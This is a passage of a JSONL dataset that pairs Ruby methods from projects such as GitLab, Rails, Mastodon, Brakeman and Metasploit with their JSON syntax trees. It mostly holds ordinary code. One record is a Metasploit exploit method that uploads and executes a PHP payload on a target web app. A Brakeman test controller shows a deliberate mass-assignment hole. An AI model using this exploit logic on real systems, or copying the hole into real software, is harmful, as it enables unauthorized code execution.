\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"each_byte\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]},\"rjust\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"str\",\"children\":[\"0\"]}]}]},\"join\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"to_json\"]}]}]}","id":"4b49e25c-3734-4360-af9a-87902896cdd2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/terraform_module/metadata/process_file_service.rb","start_line":9,"raw_source":"def initialize(file, path, module_type)\n @file = file\n @path = path\n @module_type = module_type\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"module_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@file\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@module_type\",{\"type\":\"lvar\",\"children\":[\"module_type\"]}]}]}]}","id":"1c81184c-c5ac-4c66-bec9-1032ef48d81f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/alert.rb","start_line":39,"raw_source":"def add_error(msg = nil, &block)\n add_alert(:error, msg, &block)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_error\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"add_alert\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"9cb14c38-f210-40f6-9ed6-ab4995ca40eb"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb","start_line":137,"raw_source":"def create_sql(from_id, to_id)\n <<~SQL\n WITH created_records AS MATERIALIZED (\n INSERT INTO services (project_id, #{DEFAULTS.keys.map { |key| %(\"#{key}\") }.join(',')}, created_at, updated_at)\n #{select_insert_values_sql(from_id, to_id)}\n RETURNING *\n )\n SELECT COUNT(*) as number_of_created_records\n FROM created_records\n SQL\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from_id\"]},{\"type\":\"arg\",\"children\":[\"to_id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH created_records AS MATERIALIZED (\\n\"]},{\"type\":\"str\",\"children\":[\" INSERT INTO services (project_id, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULTS\"]},\"keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\", created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_insert_values_sql\",{\"type\":\"lvar\",\"children\":[\"from_id\"]},{\"type\":\"lvar\",\"children\":[\"to_id\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" RETURNING *\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT COUNT(*) as number_of_created_records\\n\"]},{\"type\":\"str\",\"children\":[\"FROM created_records\\n\"]}]}]}","id":"c9dd78be-6017-43c7-a5b2-ade172618a08"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/mini_sql_multisite_connection.rb","start_line":68,"raw_source":"def after_commit(&blk)\n return blk.call if !transaction_open?\n\n ActiveRecord::Base.connection.add_transaction_record(AfterCommitWrapper.new(&blk))\n end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"after_commit\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction_open?\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]},\"call\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"add_transaction_record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AfterCommitWrapper\"]},\"new\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}]}]}","id":"6fec3379-c13e-493c-a949-50dafd89ae86"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/event_router.rb","start_line":149,"raw_source":"def get(key)\n if collector = @map[key]\n return collector\n end\n collector = @map[key] = yield\n if @keys.size >= MATCH_CACHE_SIZE\n # expire the oldest key\n @map.delete @keys.shift\n end\n @keys << key\n collector\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"yield\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keys\"]},\"size\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"MATCH_CACHE_SIZE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keys\"]},\"shift\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keys\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}","id":"31cbb7d5-29df-49c5-9b05-69aad8bfb4e9"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3.1/app/controllers/users_controller.rb","start_line":62,"raw_source":"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end","complexity_score":29.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"update_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"str\",\"children\":[\"User was successfully updated.\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"edit\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"errors\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}]}]}","id":"65dc429f-1d09-468c-83ac-f5291001c3af"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_imports/export_status.rb","start_line":41,"raw_source":"def batch(batch_number)\n raise ArgumentError if batch_number < 1\n\n return unless batched?\n\n status['batches'].find { |item| item['batch_number'] == batch_number }\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"batch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch_number\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_number\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batched?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"[]\",{\"type\":\"str\",\"children\":[\"batches\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"batch_number\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"batch_number\"]}]}]}]}]}","id":"bd35cba3-914a-4ce3-b429-461396bea11d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/import/source_user_placeholder_reference.rb","start_line":46,"raw_source":"def aliased_model\n PlaceholderReferences::AliasResolver.aliased_model(model, version: alias_version)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"aliased_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PlaceholderReferences\"]},\"AliasResolver\"]},\"aliased_model\",{\"type\":\"send\",\"children\":[null,\"model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[null,\"alias_version\"]}]}]}]}]}","id":"6364ff4d-3df8-4b5e-a4d6-eee7a500af52"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/test_unit/runner.rb","start_line":120,"raw_source":"def default_test_exclude_glob\n ENV[\"DEFAULT_TEST_EXCLUDE\"] || \"test/{system,dummy,fixtures}/**/*_test.rb\"\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"default_test_exclude_glob\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEFAULT_TEST_EXCLUDE\"]}]},{\"type\":\"str\",\"children\":[\"test/{system,dummy,fixtures}/**/*_test.rb\"]}]}]}","id":"bce1d8bb-9672-46e6-b294-9b4bfa5a4a9d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/projectpier_upload_exec.rb","start_line":118,"raw_source":"def exploit\n uri = normalize_uri(target_uri.path)\n uri << '/' if uri[-1, 1] != '/'\n base = File.dirname(\"#{uri}.\")\n\n # Don't create a directory on the target since it complicates\n # cleaning up after ourselves\n # folder_name = Rex::Text.rand_text_alpha(4)\n folder_name = \"\"\n php_fname = \"#{Rex::Text.rand_text_alpha(5)}.php.1\"\n @clean_files = []\n\n p = get_write_exec_payload(:unlink_self => true)\n\n print_status(\"Uploading PHP payload (#{p.length.to_s} bytes)...\")\n res = upload_php(base, php_fname, p, folder_name)\n\n if not res\n print_error(\"No response from server\")\n return\n end\n\n print_status(\"Executing '#{php_fname}'...\")\n exec_php(base, res)\n end","complexity_score":28.35,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"folder_name\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"php_fname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\".php.1\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@clean_files\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"get_write_exec_payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unlink_self\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading PHP payload (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"length\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\" bytes)...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"upload_php\",{\"type\":\"lvar\",\"children\":[\"base\"]},{\"type\":\"lvar\",\"children\":[\"php_fname\"]},{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"lvar\",\"children\":[\"folder_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No response from server\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_fname\"]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"exec_php\",{\"type\":\"lvar\",\"children\":[\"base\"]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"223d962f-0fb1-4dd6-a7ab-528ed3000fbd"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/delivery_failure_tracker.rb","start_line":111,"raw_source":"def reached_failure_threshold?\n failures >= FAILURE_THRESHOLDS[@resolution]\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reached_failure_threshold?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failures\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FAILURE_THRESHOLDS\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@resolution\"]}]}]}]}","id":"e7a881dc-4232-4f12-8877-b774a4003ca4"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/warning.rb","start_line":250,"raw_source":"def fingerprint\n loc = self.location\n location_string = loc && loc.sort_by { |k, v| k.to_s }.inspect\n warning_code_string = sprintf(\"%03d\", @warning_code)\n code_string = @code.inspect\n\n Digest::SHA2.new(256).update(\"#{warning_code_string}#{code_string}#{location_string}#{self.file.relative}#{self.confidence}\").to_s\n end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"fingerprint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loc\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"location\"]}]},{\"type\":\"lvasgn\",\"children\":[\"location_string\",{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]}]},\"inspect\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"warning_code_string\",{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%03d\"]},{\"type\":\"ivar\",\"children\":[\"@warning_code\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"code_string\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@code\"]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA2\"]},\"new\",{\"type\":\"int\",\"children\":[256]}]},\"update\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning_code_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"file\"]},\"relative\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"confidence\"]}]}]}]},\"to_s\"]}]}]}","id":"771f4f84-6448-44d1-bab8-aa7b14d1e8c5"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/work_package_datepicker.rb","start_line":157,"raw_source":"def expect_due_date_error(expected_error)\n expect_field_error(due_date_field, expected_error)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_due_date_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected_error\"]}]},{\"type\":\"send\",\"children\":[null,\"expect_field_error\",{\"type\":\"send\",\"children\":[null,\"due_date_field\"]},{\"type\":\"lvar\",\"children\":[\"expected_error\"]}]}]}","id":"a142d3cb-4641-4abd-a74a-dd562d34ca05"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/text_area_field.rb","start_line":28,"raw_source":"def submit_by_keyboard\n input_element.native.send_keys :tab\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"submit_by_keyboard\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input_element\"]},\"native\"]},\"send_keys\",{\"type\":\"sym\",\"children\":[\"tab\"]}]}]}","id":"fd016483-bbd8-403a-9181-5b6bd4f67a28"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/limit/deployments.rb","start_line":15,"raw_source":"def initialize(*)\n super\n\n @limit = ::Gitlab::Ci::Pipeline::Quota::Deployments\n .new(project.namespace, pipeline, command)\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@limit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Ci\"]},\"Pipeline\"]},\"Quota\"]},\"Deployments\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},{\"type\":\"send\",\"children\":[null,\"pipeline\"]},{\"type\":\"send\",\"children\":[null,\"command\"]}]}]}]}]}","id":"1ca707db-41df-4c1b-8efb-5f304ad8ce44"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/import/placeholder_references/load_service_spec.rb","start_line":269,"raw_source":"def set_members_count\n store.count\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_members_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"count\"]}]}","id":"ab4bad0d-82d9-4101-81af-b2081e23e377"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/gem_processor.rb","start_line":96,"raw_source":"def set_gem_version_and_file line, file, line_num\n if line =~ @gem_name_version\n @tracker.config.add_gem $1, $2, file, line_num\n elsif line =~ @ruby_version\n @tracker.config.set_ruby_version $1, file, line_num\n end\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_gem_version_and_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]},{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"line_num\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"ivar\",\"children\":[\"@gem_name_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"config\"]},\"add_gem\",{\"type\":\"nth_ref\",\"children\":[1]},{\"type\":\"nth_ref\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"line_num\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"ivar\",\"children\":[\"@ruby_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"config\"]},\"set_ruby_version\",{\"type\":\"nth_ref\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"line_num\"]}]},null]}]}]}","id":"869d0ecb-b056-48f9-96b9-b08762ac5514"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/instance_helper.rb","start_line":16,"raw_source":"def instance_presenter\n @instance_presenter ||= InstancePresenter.new\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"instance_presenter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@instance_presenter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InstancePresenter\"]},\"new\"]}]}]}","id":"9823fcce-2b4c-464c-852f-4a1d06872b14"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":109,"raw_source":"def test_polymorphic_has_many_going_through_join_model_with_inheritance\n assert_equal tags(:general), posts(:thinking).tags.first\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_polymorphic_has_many_going_through_join_model_with_inheritance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"tags\",{\"type\":\"sym\",\"children\":[\"general\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]},\"tags\"]},\"first\"]}]}]}","id":"01f8ac75-54eb-46ba-865a-0084e497d21c"} {"repo_name":"rack","file_path":"./repos/rack/lib/rack/sendfile.rb","start_line":182,"raw_source":"def map_accel_path(env, path)\n if mapping = @mappings.find { |internal, _| internal =~ path }\n return path.sub(*mapping)\n elsif mapping = x_accel_mapping(env)\n # Safe to use header: explicit config + no app mappings:\n mapping.split(',').map(&:strip).each do |m|\n internal, external = m.split('=', 2).map(&:strip)\n new_path = path.sub(/\\A#{internal}/i, external)\n return new_path unless path == new_path\n end\n\n return path\n end\n 